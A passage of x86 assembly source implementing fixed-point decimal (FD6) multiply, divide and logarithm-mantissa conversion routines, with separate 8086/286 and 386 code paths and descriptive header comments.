MulDivFD6PairsStart mov ax, WPTR [si] ; get divisor = dx:ax mov dx, WPTR [si + 2] ; MulDivFD6PairStart: push dx ; save divisor dx:ax on stack push ax add si, 4 ; jump to first pair MulDivFD6PairsStart: xor dx, dx ; sum = 0 to start with xor ax, ax xor bp, bp xor bx, bx MulDivFD6PairsLoop: push cx ; save count push dx ; save sum dx:ax:bp:bx push ax push bp push bx lodsw mov cx, ax lodsw mov dx, ax lodsw mov bx, ax lodsw ; ; now dx:cx is multipler, ax:bx=multiplicand ; mov bp, ax ; bp:bx=multiplicand mov ax, cx ; dx:ax=multiplier MulDivFD6Pairs0: or cx, dx jz short MulDivFD6PairsZero ; zero content mov cx, bx or cx, bp jz short MulDivFD6PairsZero ; zero content MulDivFD6Pairs1: xor cx, cx ; initialize sign to zero or bp, bp jns short MulDivFD6Pairs2 NEG32_FROMR16HL bp, bx not cx ; flip the sign MulDivFD6Pairs2: or dx, dx jns short MulDivFD6Pairs3 NEG32_FROMR16HL dx, ax not cx MulDivFD6Pairs3: push si ; save pFD6Pairs push cx ; save it call U32MulU32_U64 ; dx:ax * bp:bx = dx:ax:bp:bx pop cx ; restore sign indicator pop si jcxz short MulDivFD6PairsPos MulDivFD6PairsNeg: pop cx sub cx, bx mov bx, cx pop cx sbb cx, bp mov bp, cx pop cx sbb cx, ax mov ax, cx pop cx sbb cx, dx mov dx, cx jmp short MulDivFD6PairsLoop2 MulDivFD6PairsZero: pop bx pop bp pop ax pop dx jmp short MulDivFD6PairsLoop2 MulDivFD6PairsPos: pop cx add bx, cx pop cx adc bp, cx pop cx adc ax, cx pop cx adc dx, cx MulDivFD6PairsLoop2: pop cx dec cx jz short MulDivFD6Pairs4 jmp MulDivFD6PairsLoop MulDivFD6Pairs4: ; dx:ax:bp:bx=number xor cx, cx or dx, dx jns short MulDivFD6Pairs5 not bx not bp not ax not dx add bx, 1 adc bp, cx adc ax, cx adc dx, cx not cx ; flip sign MulDivFD6Pairs5: pop di ; get divisor si:di pop si or si, si ; a negative number ? jns short MulDivFD6Pair6 not cx MulDivFD6Pair6: push cx ; save sign indicator mov cx, si or cx, si ; if divisor = 0, then divide by 1.0 jz short MulDivFD6Pair7 call U64DivU32_U32 ; dx:ax:bp:bx / si:di = dx:ax/bx:cx ; ; need to round up (if remainder (bx:cx * 2) >= si:di ; add cx, cx adc bx, bx sub cx, di sbb bx, si cmc adc ax, 0 adc dx, 0 jmp short MulDivFD6Pairs8 MulDivFD6Pairs7: call U64Div1000000 ; dx:ax:bp:bx / 1000000 = dx:ax MulDivFD6Pairs8: pop cx ; restore sign indicator S32_FROMR16HL_SR16 dx, ax, cx MulDivFD6Pairs9: @EXIT ELSE ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER _SI _DI mov _SI, DPTR pMulDivPair xor _AX, _AX ; clear return lodsw ; get count or ax, ax ; if count=0, then return 0.0 jz short MulDivFD6PairsNone mov _CX, _AX ; _CX=count lodsw ; get divisor present flag or ax, ax ; if none then divisor=0 jz short MulDivFD6PairStart mov _AX, DPTR [_SI] MulDivFD6PairStart: push _AX ; save divisor add _SI, 4 ; jump to first pair xor _BX, _BX xor _DI, _DI ; _BX:_DI is the sum = initialize to 0 MulDivFD6PairsLoop: lodsd ; get multiplicand mov _DX, _AX lodsd or _AX, _AX ; see if zero, if zero do nothing jz short MulDivFD6PairsLoop2 or _DX, _DX jz short MulDivFD6PairsLoop2 imul _DX ; _DX:_AX = result MulDivFD6Pairs1: add _DI, _AX adc _BX, _DX MulDivFD6PairsLoop2: loop MulDivFD6PairsLoop MulDivFD6Pairs2: mov _AX, _DI mov _DX, _BX shl _BX, 1 sbb _BX, _BX ; _BX=sign indicator S64_FROMR32HL_SR32 _DX, _AX, _BX ; flip the _DX, _AX according the sign mov _DI, FD6NUM_1_DW ; now _DX:_AX / _DI 1.0 (decimal) pop _CX ; get divisor jecxz short MulDivFD6Pairs3 ; divide by 1.0 if divisor=0.0 cmp _CX, _DI ; divisor=1.0? jz short MulDivFD6Pairs3 mov _DI, _CX ; using new divisor shl _CX, 1 sbb _CX, _CX ; _CX=sign indicator xor _DI, _CX sub _DI, _CX ; _DI=absolute divisor xor _BX, _CX ; flip the final sign if any MulDivFD6Pairs3: cmp _DX, _DI ; will divison overflow? jae short MulDivFD6PairsOverflow div _DI ; edx=remainder, eax=quotient shr _DI, 1 ; if remainder >= (divisor / 2) then sub _DX, _DI ; round it up cmc adc _AX, 0 ; round it up MulDivFD6PairsSign: xor _AX, _BX ; do any sign if necessary sub _AX, _BX MulDivFD6Pairs4: cdq ; convert to 64-bit @EXIT MulDivFD6PairsNone: xor _AX, _AX jmp short MulDivFD6Pairs4 MulDivFD6PairsOverflow: mov _AX, 07fffffffh ; return maximum number jmp short MulDivFD6PairsSign ENDIF ; i8086 or i286 @END_PROC SUBTTL DivFD6 PAGE COMMENT ` Routine Description: This function divide two FD6 numbers (FIX decimal point decimal long number, the LONG DECIMAL POINT SIX (FD6) is a number with lowest 6 digits as fraction to the right of the decimal point), so like 1234567 = 1.234567, the range for this data type is -2147.483647 to 2147.483647. Arguments: Dividend - a 32-bit FD6 dividend number. Divisor - a 32-bit FD6 divisor number. Return Value: The return value is the 32-bit FD6 number which is round up from 7th decimal points, there is no remainder returned. NO ERROR returned, if divisor is zero the return value will be dividend, if overflow happened, then maximum FD6 number will be returned (ie. 2147.483647) Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC DivFD6 <Dividend:DWORD, Divisor:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _SI _DI _BP ; save used registers mov di, WPTR Divisor mov si, WPTR Divisor + 2 mov ax, WPTR Dividend mov dx, WPTR Dividend + 2 mov cx, si or cx, di jz short DivFD6_Divisor0 DivFD6_Chk1: mov cx, dx or cx, ax jz short DivFD6_Done DivFD6_Chk1: ; dx:ax=dividend, si:di=divisor xor cx, cx or si, si jns short DivFD6_1 NEG32_FROMR16HL si, di not cx DivFD6_1: ; check if divided by 1.0 or -1.0 cmp si, FD6NUM_1_HW jnz short DivFD6_1a cmp di, FD6NUM_1_LW jz short DivFD6_Sign ; exit with dx:ax and sign in cx DivFD6_1a: or dx, dx jns short DivFD6_2 NEG32_FROMR16HL dx, ax not cx DivFD6_2: cmp dx, si jnz short DivFD6_3 cmp ax, di jnz short DivFD6_3 mov dx, FD6NUM_1_HW mov ax, FD6NUM_1_LW jmp short DivFD6_Sign ; dx:ax=si:di, return 1.0 or -1.0 DivFD6_3: push cx ; save sign call u32Mul1000000 ; dx:ax * 0xf4240 = dx:ax:bp:bx call U64DivU32_U32 ; dx:ax:bp:bx / si:di = dx:ax/bx:cx ; ; Check if we have 0.0000005 to round up, Divisor - (reminder * 2) >= 0 ; that is. ; sub di, cx ; Divisor - Remainder = X (si:di) sbb si, bx sub cx, di sbb bx, si ; Remainder - X = U (bx:cx) cmc adc ax, 0 ; if (U >= 0) then round up adc dx, 0 pop cx ; cx=sign DivFD6_Sign: S32_FROMR16HL_SR16 dx, ax cx DivFD6_Done: @EXIT DivFD6_Divisor0: inc ax jmp short DivFD6_Chk0 ELSE ; assume i386 or up at here ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER ; entering function mov _AX, DPTR Divisor ; see if this guy is zero cdq ; save dx sign mov _BX, _DX ; _BX = sign xor _AX, _DX ; take divisor as absolute number _AX sub _AX, _DX ; zero ? DO NOT DESTROY ZERO FLAG jz short DivFD6_Divisor0 DivFD6_1: mov _CX, _AX ; save absolute divisor in _CX mov _AX, DPTR Dividend ; _AX=Dividend, _CX=Divisor, _BX=Sign cdq ; sign extended, saved the sign at here xor _AX, _DX sub _AX, _DX ; eax=absolute dividend now jz short DivFD6_Done ; dividend = 0, return 0 xor _BX, _DX ; _BX=final sign only if _BX != _DX ; ; _AX=Dividend, _CX=Divisor, _BX = final sign indicator ; mov _DX, FD6NUM_1_DW ; multiply dividend by 1.0 (decimal) cmp _CX, _DX ; if divisor == 1.0 or -1.0 then exit jz short DivFD6_Sign xchg _AX, _DX ; _AX = 1.0, _DX=Dividend cmp _DX, _CX jz short DivFD6_Sign ; Divisor=Dividend, return 1.0 or -1.0 mul _DX ; edx:eax = 64-bit product cmp _DX, _CX ; will division overflow ? jae short DivFD6_Overflow div _CX ; edx=remainder, eax=quotient ; ; Check if we have 0.0000005 to round up, Divisor - (reminder * 2) >= 0 ; that is. ; sub _CX, _DX ; divisor - remainder = X sub _DX, _CX ; Remainder - X = U cmc ; if U >= 0 then round up adc _AX, 0 DivFD6_Sign: xor _AX, _BX ; do any sign if necessary sub _AX, _BX cdq ; make it 64-bits DivFD6_Done: @EXIT ; exiting function DivFD6_Overflow: mov _AX, 07fffffffh ; return maximum number jmp short DivFD6_Sign DivFD6_Divisor0: inc _AX jmp short DivFD6_1 ENDIF ; i8086 or i286 @END_PROC SUBTTL FD6DivL PAGE COMMENT ` Routine Description: This function divide a FD6 number by a LONG integer. Arguments: Dividend - a 32-bit FD6 dividend number. Divisor - a 32-bit signed number. Return Value: The return value is the 32-bit FD6 number which is round up from 7th decimal points, there is no remainder returned. NO ERROR returned, if divisor is zero the return value will be dividend, if overflow happened, then maximum FD6 number will be returned (ie. 2147.483647) Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC FD6DivL <Dividend:DWORD, Divisor:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _SI _DI _BP ; save used registers mov di, WPTR Divisor mov si, WPTR Divisor + 2 mov ax, WPTR Dividend mov dx, WPTR Dividend + 2 mov cx, si or cx, di jz short FD6DivL_Done mov cx, dx or cx, ax jz short FD6DivL_Done FD6DivL_Chk1: ; dx:ax=dividend, si:di=divisor xor cx, cx or si, si jns short FD6DivL_1 NEG32_FROMR16HL si, di not cx FD6DivL_1: ; check if divided by 1.0 or -1.0 or dx, dx jns short FD6DivL_2 NEG32_FROMR16HL dx, ax not cx FD6DivL_2: push cx ; save sign call U32DivU32_U32 ; dx:ax / si:di = dx:ax / bx:cx jz short FD6DivL_3 ; zero flag set if no remainder ; ; Check if we have 0.0000005 to round up, Divisor - (reminder * 2) >= 0 ; that is. ; sub di, cx ; Divisor - Remainder = X (si:di) sbb si, bx sub cx, di sbb bx, si ; Remainder - X = U (bx:cx) cmc adc ax, 0 ; if (U >= 0) then round up adc dx, 0 FD6DivL_3: pop cx ; cx=sign FD6DivL_Sign: S32_FROMR16HL_SR16 dx, ax cx FD6DivL_Done: @EXIT ELSE ; assume i386 or up at here ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER ; entering function mov _AX, DPTR Divisor ; see if this guy is zero cdq ; save dx sign mov _BX, _DX ; _BX = sign xor _AX, _DX ; take divisor as absolute number _AX sub _AX, _DX ; zero ? DO NOT DESTROY ZERO FLAG mov _CX, _AX ; save absolute divisor in _CX mov _AX, DPTR Dividend ; _AX=Dividend, _CX=Divisor, _BX=Sign jz short FD6DivL_Done ; If Divisor=0, return Dividend cdq ; sign extended, saved the sign at here xor _AX, _DX sub _AX, _DX ; eax=absolute dividend now jz short FD6DivL_Done ; dividend = 0, return 0 xor _BX, _DX ; _BX=final sign only if _BX != _DX ; ; _AX=Dividend, _CX=Divisor, _BX = final sign indicator ; xor _DX, _DX ; 0:_AX / _CX div _CX ; _DX=remainder, _AX=quotient ; ; Check if we have 0.0000005 to round up, Divisor - (reminder * 2) >= 0 ; that is. ; sub _CX, _DX ; divisor - remainder = X sub _DX, _CX ; Remainder - X = U cmc ; if U >= 0 then round up adc _AX, 0 FD6DivL_Sign: xor _AX, _BX ; do any sign if necessary sub _AX, _BX cdq ; make it 64-bits FD6DivL_Done: @EXIT ; exiting function ENDIF ; i8086 or i286 @END_PROC ;============================================================================= IF 0 SUBTTL FD6IntFrac PAGE COMMENT ` Routine Description: This function is used to extract integer/fraction portion of the FIX decimal point decimal long number, the LONG DECIMAL POINT SIX (FD6) is a number with lowest 6 digits as fraction to the right of the decimal point), so like 1234567 = 1.234567, the range for this data type is -2147.483647 - 2147.483647. Arguments: Number - the FD6 number which will be break down as integer portion and fraction portion. if -1.123456 is passed then return will be INTEGER = -1 (16-bit extended to 32-bit), and FRACTION = -123456 (ie. -0.123456) pFrac - pointer to the DWORD (32-bit) to store the fraction portion of the FD6 (Num) number. Return Value: The return value is the sign 16-bit integer of the number passed in, it will be extented to 32-bit for caller's convinent. Since the integer portion for the FD6 only -2147 to 2147 it only need 16-bit number to retreat. The fraction portion is stored at pointer points by the pFrac parameter. Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC FD6IntFrac <Number:DWORD, pFrac:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER ; enter function mov ax, WPTR Number mov dx, WPTR Number + 2 mov bx, dx shl bx, 1 sbb bx, bx ; bx=0xffff if dx:ax is negative S32_FROMR16HL_SR16 dx, ax, bx mov bl, al ; and bl, 0fh ; save lowest 4 bits of dividend in BL shr dx, 1 rcr ax, 1 shr dx, 1 rcr ax, 1 shr dx, 1 rcr ax, 1 shr dx, 1 rcr ax, 1 mov cx, 0f424h div cx ; dx:bl=remainder, ax=quotient rol dx, 1 ; rotate the dx left 4 times to put rol dx, 1 ; saved lowest 4 remainder bits back rol dx, 1 rol dx, 1 mov cx, 0fh and cx, dx ; cx=high portion of remainder xor dx, cx ; clear dx low 4 bits or dl, bl ; move low 4 bits in, cx:dx=remainder ; mov bl, bh xor ax, bx sub ax, bx S32_FROMR16HL_SR16 dx, cx, bx les bx, pFrac mov WPTR es:[bx], dx ; save fraction mov WPTR es:[bx+2], cx cwd ; dx:ax=quotient @EXIT ELSE ; assume i386 or up at here ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER ; entering function mov _AX, DPTR Number ; load the 32-bit number cdq ; extended to 64-bits mov _CX, 1000000 ; divisor = 1000000 decimal idiv _CX ; edx=r, eax=q mov _BX, DPTR pFrac mov DPTR [_BX], _DX ; save remainder cdq ; _AX=quotient, now sign extended @EXIT ; exiting function ENDIF ; i8086 or i286 @END_PROC ENDIF ;============================================================================= SUBTTL FractionToMantissa PAGE COMMENT ` Routine Description: This function convert a fraction FD6 number to the logarithm mantissa with correction data. Arguments: Fraction - the fraction number after decimal place, because we have mantissa table up to two decimal places, the correction is necessary because logarithm numbers are no linear. The number is range from 0.000000-0.999999 CorrectData - The correction data which from MantissaCorrectData[] Return Value: No error returned, the return value is the Mantissa value for the fraction passed in. Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC FractionToMantissa <Fraction:DWORD, CorrectData:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _SI _DI _BP ; save used registers mov ax, WPTR Fraction mov dx, WPTR Fraction + 2 ; 0-999999 decimal mov si, ax and si, 1 ; 1 bit remainder shr dx, 1 ; divide by (100000/2) so dividend rcr ax, 1 ; must shift right by 1 mov cx, 0c350h ; 100000 / 2 div cx ; dx=remainder, ax=quotient mov cx, ax ; cx=0-9, quotient inc cx ; make it 1-10 mov di, dx ; remainder = (remainder*2) + save shr si, 1 ; check the lowest remainder bit adc di, di ; put it into final remainder adc si, si ; si = 0/1 ; ; starting correction ; ; <---High Word---> <----Low Word---> ; Bit# 3 2 1 0 ; 10987654 32109876 54321098 76543210 ; | | | | | | | || | | ; | | | | | | | || | +-- x.000 Minimum Difference ; | | | | | | | || +----- x.001-x.002 (0-7) Correct 1 ; | | | | | | | |+-------- x.000-x.001 (0-7) Correct 2 ; | | | | | | | +--------- x.009-y.000 (0-1) Correct 10 ; | | | | | | +------------- x.009-y.000 (0-7) Correct 3 ; | | | | | +---------------- x.008-x.009 (0-7) Correct 4 ; | | | | +------------------ x.007-x.008 (0-3) Correct 5 ; | | | +--------------------- x.006-x.007 (0-3) Correct 6 ; | | +----------------------- x.005-x.006 (0-3) Correct 7 ; | +------------------------- x.004-x.005 (0-3) Correct 8 ; +--------------------------- x.003-x.004 (0-3) Correct 9 ; mov ax, WPTR CorrectData mov dx, WPTR CorrectData + 2 ; dx:ax=correct data mov bp, ax ; first get the DifMin = 9 bits and bp, 01ffh ; bp=base xor bx, bx ; different accumulator=base Frac2Mant1: mov ch, ah mov ax, 7 shr ch, 1 and al, ch dec cl jz short Frac2MantGetFrac ; bx=total, next dif=ax add bx, ax add bx, bp Frac2Mant2: shr ch, 1 ; shift away correction 1 shr ch, 1 shr ch, 1 ; ch bit 3 is the correction 10 mov al, 7 and al, ch dec cl jz short Frac2MantGetFrac ; add bx, ax ; correct 2 add bx, bp Frac2Mant3: mov ax, 7 and ax, dx dec cl ; correct 3 jz short Frac2MantGetFrac add bx, ax add bx, bp Frac2Mant4: mov ax, 7 cmp al, ch ; if bit 3 of ch is on then carry rcr dx, 1 ; we actually move that bit into shr dx, 1 ; bit 15 of dx shr dx, 1 ; shift away correction 3 and ax, dx dec cl jz short Frac2MantGetFrac shr dx, 1 ; shift away correction 4 mov ch, 3 ; this is the mask, all 2 bits now Frac2Mant5_10: add bx, ax add bx, bp shr dx, 1 shr dx, 1 mov al, ch and ax, dx dec cl jnz short Frac2Mant5_10 Frac2MantGetFrac: add bp, ax ; add minimum diff. to next table ; ; Now, bx=Minimum x.00x, ; bp=different to the next mantissa x.000x + 0.0001 ; si:di=fraction ratio (0.000000 - 0.099999) ; ; Total Dif = bx + ((bp * si:di) / 100000) ; ; si:di * ax will never greater than 32-bit because (si:di < 100000) and ; BP < (2^9 = 512) ; mov ax, si or ax, di jz short Frac2MantDoneFrac mov ax, si ; if si=0, then no 'mul si' or ax, ax jz short Frac2MantDoneHF mov ax, bp ; si:di mul si ; * ax Frac2MantDoneHF: xchg bp, ax ; --------------- mul di ; dx:ax add dx, bp ; bp mov cx, 0c350h ; ---------------- add ax, cx ; dx:ax adc dx, 0 ; now round up shr dx, 1 ; divide by (100000/2) so dividend rcr ax, 1 ; must also right shift by 1 div cx ; ax=qotient, ignored the remainder Frac2MantDoneFrac: xor dx, dx ; using dx:ax=final number add ax, bx adc dx, dx ; dx:ax=fraction mantissa number @EXIT ELSE ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER _SI _DI _BP ; entering function mov _AX, DPTR Fraction cdq mov _CX, 100000 div _CX ; _DX=r, _AX=q mov _CX, _AX ; _CX=q+1 inc _CX ; _CX= 1-10 ; ; starting correction ; ; <---High Word---> <----Low Word---> ; Bit# 3 2 1 0 ; 10987654 32109876 54321098 76543210 ; | | | | | | | || | | ; | | | | | | | || | +-- x.000 Minimum Difference ; | | | | | | | || +----- x.001-x.002 (0-7) Correct 1 ; | | | | | | | |+-------- x.000-x.001 (0-7) Correct 2 ; | | | | | | | +--------- x.009-y.000 (0-1) Correct 10 ; | | | | | | +------------- x.009-y.000 (0-7) Correct 3 ; | | | | | +---------------- x.008-x.009 (0-7) Correct 4 ; | | | | +------------------ x.007-x.008 (0-3) Correct 5 ; | | | +--------------------- x.006-x.007 (0-3) Correct 6 ; | | +----------------------- x.005-x.006 (0-3) Correct 7 ; | +------------------------- x.004-x.005 (0-3) Correct 8 ; +--------------------------- x.003-x.004 (0-3) Correct 9 ; mov _DI, DPTR CorrectData ; _AX=correct data mov _BP, _DI and _BP, 01ffh ; _SI = 9 bit of the DifMin mov _SI, 7 mov bx, di shl bx, 1 ; get the correction 10 rcr _DI, 1 ; put into bit 31 shr _DI, 8 xor _BX, _BX Frac2Mant1: mov _AX, _SI and _AX, _DI dec cl jz short Frac2MantGetFrac add _BX, _AX add _BX, _BP Frac2Mant2: shr _DI, 3 mov _AX, _SI and _AX, _DI dec cl jz short Frac2MantGetFrac ; add _BX, _AX ; correct 2 add _BX, _BP Frac2Mant3: shr _DI, 4 ; shift away correction 2/10 mov _AX, _SI and _AX, _DI dec cl ; correct 3 jz short Frac2MantGetFrac ; add _BX, _AX ; add _BX, _BP Frac2Mant4: shr _DI, 3 mov _AX, _SI and _AX, _DI dec cl ; correct 4 jz short Frac2MantGetFrac ; shr _DI, 1 ; pre-shift, remainding all 2 bits mov _SI, 3 Frac2Mant5_10: add _BX, _AX add _BX, _BP shr _DI, 2 mov _AX, _SI and _AX, _DI dec cl jnz short Frac2Mant5_10 Frac2MantGetFrac: add _BP, _AX ; ; Now, _BX=Minimum x.00x, ; _BP=different to the next mantissa x.000x + 0.0001 ; _DX=fraction ratio (0.000000 - 0.099999) ; ; Total Dif = _BX + ((_BP * _DX) / 100000) ; ; _BP * _DX will never greater than 32-bit because (_DX < 100000) and ; _BP < (2^9 = 512) ; mov _AX, _BX or _DX, _DX ; zero fraction? jz short Frac2MantDoneFrac mov _AX, _BP mul _DX ; _DX:_AX=products add _AX, 50000 ; round up adc _DX, 0 mov _CX, 100000 div _CX ; _AX=quotient add _AX, _BX Frac2MantDoneFrac: cdq ; _DX:_AX=final number @EXIT ; exiting function ENDIF ; i8086 or i286 @END_PROC FD6P1ToP9 dd 100000 dd 200000 dd 300000 dd 400000 dd 500000 dd 600000 dd 700000 dd 800000 dd 900000 dd 1000000 SUBTTL MantissaToFraction PAGE COMMENT ` Routine Description: This function take mantissa number and convert it to the decimal fraction in FD6 format. Arguments: Mantissa - the mantissa values which will converted to the the fraction number. CorrectData - The correction data which from MantissaCorrectData[] Return Value: No error returned, the return value is the fraction value for the mantissa passed in, it range from 0.000000 - 1.000000 Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC MantissaToFraction <Mantissa:DWORD, CorrectData:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _SI _DI _BP ; saved used registers ; ; starting correction ; ; <---High Word---> <----Low Word---> ; Bit# 3 2 1 0 ; 10987654 32109876 54321098 76543210 ; | | | | | | | || | | ; | | | | | | | || | +-- x.000 Minimum Difference ; | | | | | | | || +----- x.001-x.002 (0-7) Correct 1 ; | | | | | | | |+-------- x.000-x.001 (0-7) Correct 2 ; | | | | | | | +--------- x.009-y.000 (0-1) Correct 10 ; | | | | | | +------------- x.009-y.000 (0-7) Correct 3 ; | | | | | +---------------- x.008-x.009 (0-7) Correct 4 ; | | | | +------------------ x.007-x.008 (0-3) Correct 5 ; | | | +--------------------- x.006-x.007 (0-3) Correct 6 ; | | +----------------------- x.005-x.006 (0-3) Correct 7 ; | +------------------------- x.004-x.005 (0-3) Correct 8 ; +--------------------------- x.003-x.004 (0-3) Correct 9 ; mov ax, WPTR Mantissa ; only 16-bit needed mov cx, WPTR CorrectData mov dx, WPTR CorrectData + 2 ; dx:cx=correct data mov bp, cx ; first get the DifMin = 9 bits and bp, 01ffh ; bp=base xor si, si ; si=fraction index mov di, 7 Mant2Frac1: mov bh, ch shr bh, 1 mov cx, di and cl, bh inc si ; increase the fraction index add cx, bp ; cx=range sub ax, cx ; ax=mantissa jle short Mant2FracGetFrac Mant2Frac2: shr bh, 1 ; shift away correction 1 shr bh, 1 shr bh, 1 ; bh bit 3 is the correction 10 mov cx, di and cl, bh inc si ; increase the fraction index add cx, bp ; cx=range sub ax, cx ; ax=mantissa jle short Mant2FracGetFrac Mant2Frac3: mov cx, di and cx, dx inc si ; increase the fraction index add cx, bp ; cx=range sub ax, cx ; ax=mantissa jle short Mant2FracGetFrac Mant2Frac4: mov cx, di cmp cl, bh ; if bit 3 of bh is on then carry rcr dx, 1 ; we actually move that bit into shr dx, 1 ; bit 15 of dx shr dx, 1 ; shift away correction 3 and cx, dx inc si ; increase the fraction index add cx, bp ; cx=range sub ax, cx ; ax=mantissa jle short Mant2FracGetFrac shr dx, 1 ; shift away correction 4 mov di, 3 ; this is the mask, all 2 bits now Mant2Frac5_10: shr dx, 1 shr dx, 1 mov cx, di and cx, dx inc si add cx, bp ; cx=range sub ax, cx ; ax=mantissa jg short Mant2Frac5_10 Mant2FracGetFrac: ; ; si = fraction index of 000000 - 900000 (0-9) ; cx = range, ; ax = mantissa, if (ax=0) then si=frac else if (ax<0) then add range back ; ; Final Frac = (si * 1000000) + (((ax * 100000) + cx / 2) / cx) ; mov dx, 0 jz short Mant2FracGetFracH ; si=fraction index add ax, cx ; move it back since negative dec si ; move the index back by one mov dx, 0c350h ; 100000 = (50000 * 2) mul dx ; dx:ax= ax * 50000 of the mantissa add ax, ax adc dx, dx ; dx:ax = ax * 100000 xor di, di cmp dx, cx jb short Mant2FracDiv2 mov di, ax ; save dividend L mov ax, dx xor dx, dx div cx ; 0:ax / bx, dx=r, ax=q xchg di, ax ; dx:ax=remainder, di=q Mant2FracDiv2: div cx ; dx=remainder, di:ax=q add dx, dx ; to round up, check if sub dx, cx ; (remainder * 2) > divisor, if yes mov dx, 0 cmc ; then increase the qoutient by 1 adc ax, dx adc dx, di ; dx:ax=((ax*100000) + cx/2) / cx) Mant2FracGetFracH: dec si js short Mant2FracDone add si, si ; 4 bytes alignment add si, si add ax, WORD PTR cs:FD6P1ToP9[si] adc dx, WORD PTR cs:FD6P1ToP9[si+2] Mant2FracDone: @EXIT ELSE ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER _SI _DI ; entering function ; ; starting correction ; ; <---High Word---> <----Low Word---> ; Bit# 3 2 1 0 ; 10987654 32109876 54321098 76543210 ; | | | | | | | || | | ; | | | | | | | || | +-- x.000 Minimum Difference ; | | | | | | | || +----- x.001-x.002 (0-7) Correct 1 ; | | | | | | | |+-------- x.000-x.001 (0-7) Correct 2 ; | | | | | | | +--------- x.009-y.000 (0-1) Correct 10 ; | | | | | | +------------- x.009-y.000 (0-7) Correct 3 ; | | | | | +---------------- x.008-x.009 (0-7) Correct 4 ; | | | | +------------------ x.007-x.008 (0-3) Correct 5 ; | | | +--------------------- x.006-x.007 (0-3) Correct 6 ; | | +----------------------- x.005-x.006 (0-3) Correct 7 ; | +------------------------- x.004-x.005 (0-3) Correct 8 ; +--------------------------- x.003-x.004 (0-3) Correct 9 ; movzx _AX, WPTR Mantissa ; only 16-bit needed mov _DX, DPTR CorrectData ; _DX=correct data mov _CX, _DX ; first get the DifMin = 9 bits and _CX, 01ffh ; _CX=base mov bx, dx ; move correction 10 (1 bit) to shl bx, 1 ; _DX bit 31 rcr _DX, 1 shr _DX, 8 ; shift out rest of the bits xor _BX, _BX ; _BX=fraction count mov _SI, 7 ; si=mask Mant2Frac1: mov _DI, _SI ; get mask and _DI, _DX ; _DI=current correction 1 inc _BX ; increase the fraction index add _DI, _CX ; _DI=range to next sub _AX, _DI ; substract the mantissa from it jle short Mant2FracGetFrac Mant2Frac2: shr _DX, 3 ; shift away correction 1 mov _DI, _SI and _DI, _DX inc _BX ; increase the fraction index add _DI, _CX ; _DI=range to next sub _AX, _DI ; substract the mantissa from it jle short Mant2FracGetFrac Mant2Frac3: shr _DX, 4 ; shift away correction 2/10 mov _DI, _SI and _DI, _DX inc _BX ; increase the fraction index add _DI, _CX ; _DI=range to next sub _AX, _DI ; substract the mantissa from it jle short Mant2FracGetFrac Mant2Frac4: shr _DX, 3 ; shift away correction 3 mov _DI, _SI and _DI, _DX inc _BX ; increase the fraction index add _DI, _CX ; _DI=range to next sub _AX, _DI ; substract the mantissa from it jle short Mant2FracGetFrac mov _SI, 3 ; all the rest are 2 bits shr _DX, 1 ; pre-shift 1 bit for correction 4 Mant2Frac5_10: shr _DX, 2 mov _DI, _SI and _DI, _DX inc _BX add _DI, _CX sub _AX, _DI jg short Mant2Frac5_10 Mant2FracGetFrac: ; ; _BX = fraction index of 000000 - 900000 (0-9) ; _DI = range, ; _AX = mantissa, if (_AX=0) then _BX=frac ; else if (_AX<0) then add range back ; ; Final Frac = (_BX * 1000000) + (((_AX * 100000) + _DI / 2) / _DI) ; or _AX, _AX jz short Mant2FracGetFracH ; BX=fraction index add _AX, _DI ; _AX is negative, move it back dec _BX ; by 1 step mov _CX, 100000 mul _CX ; _DX:_AX=products mov _CX, _DI shr _CX, 1 ; round up add _AX, _CX adc _DX, 0 div _DI ; _DX=r, _AX=q Mant2FracGetFracH: dec _BX ; see if alrady 0 js short Mant2FracDone add _AX, DPTR cs:FD6P1ToP9[_BX * 4] ; 4 bytes alignment Mant2FracDone: cdq ; _AX --> _DX:_AX @EXIT ; exiting function ENDIF ; i8086 or i286 @END_PROC ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;@ Following codes only for 8086/80286, and all functions are used for @ ;@ internally @ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IF i8086 OR i286 ; lots of works for this kind of CPU SUBTTL U64Div1000000 PAGE COMMENT ` Routine Description: This function divide a 64-bit number by 1000000 (decimal), this function only assembly under 8086/80286 cpu, for 80386 and up it will use in line code to do divison Arguments: dx:ax:bp:bx - dividend Return Value: dx:ax = round up quotient (dx:ax:bp:bx / 1000000 decimal) if dx:ax = 0x7fff:ffff then an overflow has been occurred. bp:bx registers are destroyed. Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` PUBLIC U64Div1000000 U64Div1000000 label near ; ; dx:ax:bp:bx / FD6NUM_1_DW (0f4240h) --> dx:ax=round up quotient ; registers bp/bx are destroyed ; ; dx:ax:bp:bx / FD6NUM_1_DW (0f4240h) = (dx:ax:bp:bx >> 4)/f424h) ; = remainder << 4 ; add bx, 0a120h ; 0f4240h / 2 = 7a120h adc bp, 7 adc ax, 0 adc dx, 0 ; round up ; shift the dividend right by 4 (64 bits shifts) shr dx, 1 rcr ax, 1 rcr bp, 1 rcr bx, 1 shr dx, 1 rcr ax, 1 rcr bp, 1 rcr bx, 